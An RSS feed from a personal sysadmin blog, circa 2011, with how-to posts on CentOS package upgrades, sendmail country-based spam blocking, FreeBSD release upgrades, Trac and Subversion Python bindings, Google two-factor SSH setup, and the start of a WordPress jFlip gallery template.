<?xml version="1.0" encoding="utf-8" ?>

<rss version="2.0" 
   xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
   xmlns:admin="http://webns.net/mvcb/"
   xmlns:dc="http://purl.org/dc/elements/1.1/"
   xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
   xmlns:wfw="http://wellformedweb.org/CommentAPI/"
   xmlns:content="http://purl.org/rss/1.0/modules/content/"
   xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule">
<channel>
    
    <title>Just my Blog</title>
    <link>http://blog.adslweb.net/serendipity/</link>
    <description>SELECT * FROM users WHERE clue &gt; 0</description>
    <dc:language>en</dc:language>
    <generator>Serendipity 1.5.5 - http://www.s9y.org/</generator>
    <pubDate>Fri, 16 Dec 2011 13:01:25 GMT</pubDate>

    <image>
        <url>http://blog.adslweb.net/serendipity/templates/competition/img/s9y_banner_small.png</url>
        <title>RSS: Just my Blog - SELECT * FROM users WHERE clue &gt; 0</title>
        <link>http://blog.adslweb.net/serendipity/</link>
        <width>100</width>
        <height>21</height>
    </image>

<item>
    <title>Upgrade packages on Centos 4 for Wordpress 3.3</title>
    <link>http://blog.adslweb.net/serendipity/article/290/Upgrade-packages-on-Centos-4-for-Wordpress-3.3</link>
    
    <comments>http://blog.adslweb.net/serendipity/article/290/Upgrade-packages-on-Centos-4-for-Wordpress-3.3#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=290</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=290</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Recently I had to upgrade MySQL and PHP to enable the latest and greatest version of WordPress on a server.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;The server is currently still running CentOS 4, but didn&#039;t want to upgrade it to a newer major version. Thanks to the builds of Jason Litka for RHEL4/CentOS 4, I was able to upgrade the packages...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Finally I was able to upgrade the following packages:&lt;/p&gt; &lt;br /&gt;
&lt;ul&gt; &lt;br /&gt;
&lt;li&gt;MySQL from version 4.1.22 to 5.1.58&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;PHP from version 4.3.9 to 5.2.17&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Apache from version 2.0.52 to 2.2.21&lt;/li&gt; &lt;br /&gt;
&lt;/ul&gt; &lt;br /&gt;
&lt;p&gt;You can easily enable the repo by adding a .repo file to /etc/yum.repos.d/ on your box with the following content:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;tt&gt;&lt;font size=&quot;-1&quot;&gt;[utterramblings]&lt;/font&gt;&lt;br /&gt; &lt;font size=&quot;-1&quot;&gt;name=Jason&#039;s Utter Ramblings Repo&lt;/font&gt;&lt;br /&gt; &lt;font size=&quot;-1&quot;&gt;baseurl=http://www.jasonlitka.com/media/EL$releasever/$basearch/&lt;/font&gt;&lt;br /&gt;&lt;font size=&quot;-1&quot;&gt;enabled=1&lt;/font&gt;&lt;br /&gt; &lt;font size=&quot;-1&quot;&gt;gpgcheck=1&lt;/font&gt;&lt;br /&gt; &lt;font size=&quot;-1&quot;&gt;gpgkey=http://www.jasonlitka.com/media/RPM-GPG-KEY-jlitka&lt;/font&gt;&lt;/tt&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Please note that some modules are changed if you upgrade Apache from 2.0 to 2.2, for example mod_access functionality moved into mod_authz_host. &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Another &amp;quot;weird&amp;quot; thing was that the dovecot package had a dependency on /usr/lib/mysql/libmysqlclient.so.14,&amp;#160; this can be solved by installing the mysqlclient14.i386 rpm. &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Fri, 16 Dec 2011 13:48:04 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/290/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>Block mail from certain countries with sendmail</title>
    <link>http://blog.adslweb.net/serendipity/article/289/Block-mail-from-certain-countries-with-sendmail</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/289/Block-mail-from-certain-countries-with-sendmail#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=289</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=289</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;If you have your own MTA running... you are probably known with the spam-problems... Once you&#039;ve tuned the filters, you have to do it again... because a new spam-run comes in. I also blocked whole /8 subnets in different countries (India/China/...)... but that is not a &amp;quot;real&amp;quot; solution... aka I want to block the whole country...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&amp;#160;The &amp;quot;DNSBL&amp;quot; &lt;a href=&quot;http://countries.nerd.dk&quot;&gt;countries.nerd.dk&lt;/a&gt;&amp;#160; allows you to do so... the map ip-adresses to countries based on whois-information... so on my MTAs I added the following lines to the mc sendmail file:&lt;/p&gt; &lt;br /&gt;
&lt;pre&gt;FEATURE(dnsbl,`br.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Brazil:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`in.countries.nerd.dk&#039;, `554 - Rejected - SPAM from India:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`kr.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Korea:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`cn.countries.nerd.dk&#039;, `554 - Rejected - SPAM from China:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`ro.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Romenia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`co.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Colombia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`mk.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Macedonia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`vn.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Vietnam:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
FEATURE(dnsbl,`ru.countries.nerd.dk&#039;, `554 - Rejected - SPAM from Russia:$&amp;amp;{client_addr} rejected&#039;)dnl&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;p&gt;And within a few hours the first are already blocked... I hope this will reduce the amount of incomming spam at the &amp;quot;front door&amp;quot;. Because simply... I don&#039;t know people in these countries...&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Mon, 12 Dec 2011 17:28:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/289/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>FreeBSD upgrade a prerelease to a release</title>
    <link>http://blog.adslweb.net/serendipity/article/288/FreeBSD-upgrade-a-prerelease-to-a-release</link>
            <category>Linux/Unix/BSD</category>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/288/FreeBSD-upgrade-a-prerelease-to-a-release#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=288</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=288</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Some while ago I installed a FreeBSD server with 7.3-PRERELEASE, although now I wanted to have it properly upgraded to 7.3-RELEASE.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;I looked into it quite often... although run into the issue that it didn&#039;t work...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;# &lt;strong&gt;uname -r&lt;/strong&gt;&lt;br /&gt;7.3-PRERELEASE&lt;br /&gt;# &lt;strong&gt;freebsd-update upgrade -r 7.3-RELEASE&lt;/strong&gt;&lt;br /&gt;Looking up update.FreeBSD.org mirrors... 4 mirrors found.&lt;br /&gt;Fetching public key from update4.FreeBSD.org... failed.&lt;br /&gt;Fetching public key from update3.FreeBSD.org... failed.&lt;br /&gt;Fetching public key from update5.FreeBSD.org... failed.&lt;br /&gt;Fetching public key from update2.FreeBSD.org... failed.&lt;br /&gt;No mirrors remaining, giving up.&lt;/font&gt;&lt;font size=&quot;2&quot; face=&quot;courier new,courier,monospace&quot;&gt; &lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;On the FreeBSD forum I found the following thread:&lt;/p&gt; &lt;br /&gt;
&lt;p align=&quot;left&quot;&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://lnk.adslweb.net/udvvmL&quot;&gt;http://lnk.adslweb.net/udvvmL &lt;/a&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Based on the information there I performed the following steps:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;# &lt;strong&gt;env UNAME_r=7.3-RELEASE freebsd-update -v debug fetch -r 7.3-RELEASE&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Then install the updates:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font size=&quot;1&quot; face=&quot;courier new,courier,monospace&quot;&gt;# &lt;strong&gt;env UNAME_r=7.3-RELEASE freebsd-update -v debug install&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And as last step do a reboot, and the result is:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;# &lt;strong&gt;uname -r&lt;/strong&gt;&lt;br /&gt;7.3-RELEASE-p7&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Wed, 30 Nov 2011 20:00:00 +0100</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/288/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>How to update Python bindings to subversion.</title>
    <link>http://blog.adslweb.net/serendipity/article/287/How-to-update-Python-bindings-to-subversion.</link>
            <category>Linux/Unix/BSD</category>
            <category>System Information Scanner</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/287/How-to-update-Python-bindings-to-subversion.#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=287</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=287</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Recently I run into the problem that a team had a requirement for subversion 1.6.6 (while CentOS 5u3 was not supporting this... but the vendor didn&#039;t provide a newer release). This team also had a requirement to have TRAC... TRAC is depended on Python... but I was not allowed to update the subversion bindings for python by updating the it on the whole system... so... this is what I did: &lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;ul&gt; &lt;br /&gt;
&lt;li&gt;Installed a number of devel packages:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;   # &lt;strong&gt;yum install apr-devel neon{,-devel} apr-util-devel&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Compiled sqlite version 3.6.13 and installed it on NFS:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;  $ &lt;strong&gt;./configure --prefix=/nfs/apps/webservices/trac-parent/sqlite/3.6.13&lt;/strong&gt;&lt;br /&gt;
  ...&lt;br /&gt;
  $ &lt;strong&gt;make ; make install&lt;/strong&gt;&lt;br /&gt;
  ...&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Compiled subversion 1.6.6 and installed it on NFS:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;$ &lt;strong&gt;make clean; ./configure \&lt;br /&gt;
 --prefix=/&lt;/strong&gt;&lt;strong&gt;&lt;strong&gt;nfs/apps/webservices/trac-parent&lt;/strong&gt;&lt;/strong&gt;&lt;strong&gt;/subversion/1.6.6 \&lt;br /&gt;
 --with-sqlite=&lt;/strong&gt;&lt;strong&gt;&lt;strong&gt;/nfs/apps/webservices/trac-parent/&lt;/strong&gt;&lt;/strong&gt;&lt;strong&gt;sqlite/3.6.13 \&lt;br /&gt;
 --without-neon &lt;/strong&gt;&lt;br /&gt;
...&lt;br /&gt;
$ &lt;strong&gt;make -j8 ; make install ; make swig-py ; make install-swig-py&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;p&gt;…&lt;/p&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Added the following line to &lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/sysconfig/httpd&lt;/font&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Modified &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/httpd/conf.d/trac.conf&lt;/font&gt;&lt;/strong&gt; by adding a ‘&lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;PythonPath&lt;/font&gt;&lt;/strong&gt;’ to the location-directive:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;&amp;lt;Location /projects&amp;gt;&lt;br /&gt;
  ...&lt;br /&gt;
  PythonPath &quot;[&#039;/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python&#039;] + sys.path&quot;&lt;br /&gt;
&amp;lt;/Location&amp;gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Restart the trac daemon:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;# &lt;strong&gt;service httpd stop&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;service httpd start&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;li&gt;Now you’ve to resync the trac-instance with Subversion (the &lt;br /&gt;
repository_dir value in the trac.ini of the instance).. but make sure &lt;br /&gt;
you use the correct bindings in Python:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;# &lt;strong&gt;export LD_LIBRARY_PATH=/nfs/apps/webservices/trac-parent/sqlite/3.6.13/lib/&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;export PYTHONPATH=/nfs/apps/webservices/trac-parent/subversion/1.6.6/lib/svn-python&lt;/strong&gt;&lt;br /&gt;
# &lt;strong&gt;trac-admin ${TRAC_INSTANCE_PATH} repository resync &quot;*&quot;&lt;/strong&gt;&lt;br /&gt;
&lt;/pre&gt; &lt;br /&gt;
&lt;/li&gt; &lt;br /&gt;
&lt;/ul&gt; 
    </content:encoded>

    <pubDate>Wed, 13 Jul 2011 20:33:52 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/287/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>CentOS 5 enabling Two-factor SSH authentication via Google</title>
    <link>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google</link>
            <category>Linux/Unix/BSD</category>
            <category>Security</category>
            <category>System Op stuff</category>
            <category>Work</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/286/CentOS-5-enabling-Two-factor-SSH-authentication-via-Google#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=286</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=286</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Today I noticed a very nice article about enabling &lt;a target=&quot;_blank&quot; href=&quot;http://www.techrepublic.com/blog/opensource/two-factor-ssh-authentication-via-google-secures-linux-logins/2607&quot;&gt;Google&#039;s two-factor authentication for Linux SSH&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;After reading it... I found some time to play with it... so I enabled it within 10 minutes on my CentOS 5 64bit play-ground server... but there are some small &#039;caveats&#039;.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;hg - Command&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;To checkout the code, you must make install the mercurial RPM... this one is available via the EPEL repositories.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;So after having the EPEL repositories enabled, run as root:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;strong&gt;yum -y install mercurial &lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Compiling the PAM module&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; When you checked out the code. &lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;hg clone https://google-authenticator.googlecode.com/hg/ google-authenticator/&lt;/font&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;You cannot compile directly the module... therefor you must apply a small change to the Makefile.&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Change where &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib/libdl.so&lt;/font&gt;&lt;/strong&gt; is stated to &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/usr/lib64/libdl.so&lt;/font&gt;&lt;/strong&gt; (3 occurrences)&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;make&lt;/strong&gt;&lt;br /&gt;$ &lt;strong&gt;sudo make install&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Now you&#039;ve to update the &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/pam.d/sshd&lt;/font&gt;&lt;/strong&gt; so it contains:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;#%PAM-1.0&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_google_authenticator.so&lt;br /&gt;auth&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_nologin.so&lt;br /&gt;account&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;password&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; optional&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_keyinit.so force revoke&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; include&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; system-auth&lt;br /&gt;session&amp;#160;&amp;#160;&amp;#160; required&amp;#160;&amp;#160;&amp;#160;&amp;#160; pam_loginuid.so&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Configure SSH&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;You also have to make sure that in &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;/etc/ssh/sshd_config&lt;/font&gt;&lt;/strong&gt; the following settings are set on yes:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;ChallengeResponseAuthentication yes&lt;br /&gt;UsePAM yes&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And restart the SSH-daemon &lt;br /&gt;&lt;/p&gt;&lt;br /&gt;
&lt;p&gt;&lt;strong&gt;Set up your smartphone/credentials on the system&lt;/strong&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$ &lt;strong&gt;google-authenticator&lt;/strong&gt;&lt;br /&gt;https://www.google.com/chart?chs=200x200&amp;amp;chld=M|0&amp;amp;cht=qr&amp;amp;chl=otpauth://totp/user@server%3Fsecret%3DSAEP64T5VZAVWAFB&lt;br /&gt;Your new secret key is: SAEP64T5VZAVWAFB&lt;br /&gt;Your verification code is 376046&lt;br /&gt;Your emergency scratch codes are:&lt;br /&gt;&amp;#160; 67868696&lt;br /&gt;&amp;#160; 26247332&lt;br /&gt;&amp;#160; 54815527&lt;br /&gt;&amp;#160; 54336661&lt;br /&gt;&amp;#160; 71083816&lt;br /&gt;Do you want me to update your &amp;quot;~/.google_authenticator&amp;quot; file (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;Do you want to disallow multiple uses of the same authentication&lt;br /&gt;token? This restricts you to one login about every 30s, but it increases&lt;br /&gt;your chances to notice or even prevent man-in-the-middle attacks (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;br /&gt;By default, tokens are good for 30 seconds and in order to compensate for&lt;br /&gt;possible time-skew between the client and the server, we allow an extra&lt;br /&gt;token before and after the current time. If you experience problems with poor&lt;br /&gt;time synchronization, you can increase the window from its default&lt;br /&gt;size of 1:30min to about 4min. Do you want to do so (y/n)&lt;strong&gt; n&lt;/strong&gt;&lt;br /&gt;If the computer that you are logging into isn&#039;t hardened against brute-force&lt;br /&gt;login attempts, you can enable rate-limiting for the authentication module.&lt;br /&gt;By default, this limits attackers to no more than 3 login attempts every 30s.&lt;br /&gt;Do you want to enable rate-limiting (y/n) &lt;strong&gt;y&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And you&#039;re done &lt;img src=&quot;http://blog.adslweb.net/serendipity/templates/default/img/emoticons/laugh.png&quot; alt=&quot;:-D&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Give it a try to SSH to that box...&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;strong&gt;&amp;#160;TIP: Make sure you&#039;ve an SSH session still open... or you might lock yourself out of the system...&lt;/strong&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt; &lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 21 Jun 2011 14:16:57 +0200</pubDate>
    <guid isPermaLink="false">http://blog.adslweb.net/serendipity/article/286/guid</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by/3.0/</creativeCommons:license>
</item>
<item>
    <title>WordPress template with jQuery flippage</title>
    <link>http://blog.adslweb.net/serendipity/article/285/WordPress-template-with-jQuery-flippage</link>
            <category>System Op stuff</category>
    
    <comments>http://blog.adslweb.net/serendipity/article/285/WordPress-template-with-jQuery-flippage#comments</comments>
    <wfw:comment>http://blog.adslweb.net/serendipity/wfwcomment.php?cid=285</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://blog.adslweb.net/serendipity/rss.php?version=2.0&amp;type=comments&amp;cid=285</wfw:commentRss>
    

    <author>nospam@example.com (Pieter de Rijk)</author>
    <content:encoded>
    &lt;p&gt;Recently I&#039;ve been working on creating a template for WordPress for my brother in law&#039;s company. My brother in law is photographer so I had also had to implement albums/galleries using &amp;quot;&lt;a target=&quot;_blank&quot; href=&quot;http://www.jquery.info/scripts/jFlip/demo.html&quot;&gt;jQuery jFlip&lt;/a&gt;&amp;quot;. So I decided to use the &amp;quot;&lt;a target=&quot;_blank&quot; href=&quot;http://alexrabe.de/wordpress-plugins/nextgen-gallery/&quot;&gt;NextGEN Gallery&lt;/a&gt;&amp;quot; plugin for WordPress.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;The benefit of NextGEN Gallery is that it allows you to add custom gallery templates to your WordPress template/theme by having in your theme-folder a &lt;font face=&quot;courier new,courier,monospace&quot;&gt;nggallery&lt;/font&gt; folder and files named &lt;font face=&quot;courier new,courier,monospace&quot;&gt;gallery-&lt;em&gt;{template_name}&lt;/em&gt;.php&lt;/font&gt;.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;To enable jQuery jFlip with NextGEN Gallery I had to do the following modifications: &lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Add to &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$TEMPLATE_PATH/header.php &lt;/font&gt;&lt;/strong&gt;the following lines in the head section:&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;&lt;span style=&quot;color: #5a5a5a;&quot;&gt; &lt;/span&gt;&lt;font size=&quot;1&quot;&gt;&lt;strong style=&quot;color: #5a5a5a;&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&amp;lt;!--[if IE]&amp;gt;&amp;lt;script src=&amp;quot;&amp;lt;?php bloginfo(&#039;template_url&#039;); ?&amp;gt;/js/excanvasX.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;![endif]--&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;quot;&amp;lt;?php bloginfo(&#039;template_url&#039;); ?&amp;gt;/js/jquery-1.6.1.min.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script src=&amp;quot;&amp;lt;?php bloginfo(&#039;template_url&#039;); ?&amp;gt;/js/jquery.jflip-0.4.min.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/font&gt;&lt;/strong&gt;&lt;/font&gt;&lt;br /&gt;&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;Make sure you put &lt;a target=&quot;_blank&quot; href=&quot;http://code.jquery.com/jquery-1.6.min.js&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;/font&gt;&lt;/a&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;&lt;a&gt;jquery-1.6.1.min.js&lt;/a&gt;&lt;/font&gt; and &lt;a target=&quot;_blank&quot; href=&quot;http://www.jquery.info/scripts/jFlip/jquery.jflip-0.4.min.js&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;jquery-jflip-0.4.min.js&lt;/font&gt;&lt;/a&gt; and &lt;a target=&quot;_blank&quot; href=&quot;http://www.jquery.info/scripts/jFlip/excanvasX.js&quot;&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;excanvasX.js&lt;/font&gt;&lt;/a&gt; (for IE support) in your template, or deep link to the developer sites.&lt;/p&gt; &lt;br /&gt;
&lt;p&gt;And now create a NextGEN template &lt;strong&gt;&lt;font face=&quot;courier new,courier,monospace&quot;&gt;$TEMPLATE_PATH/nggallery/gallery-flippage.php:&lt;/font&gt;&lt;/strong&gt; &lt;/p&gt; &lt;br /&gt;
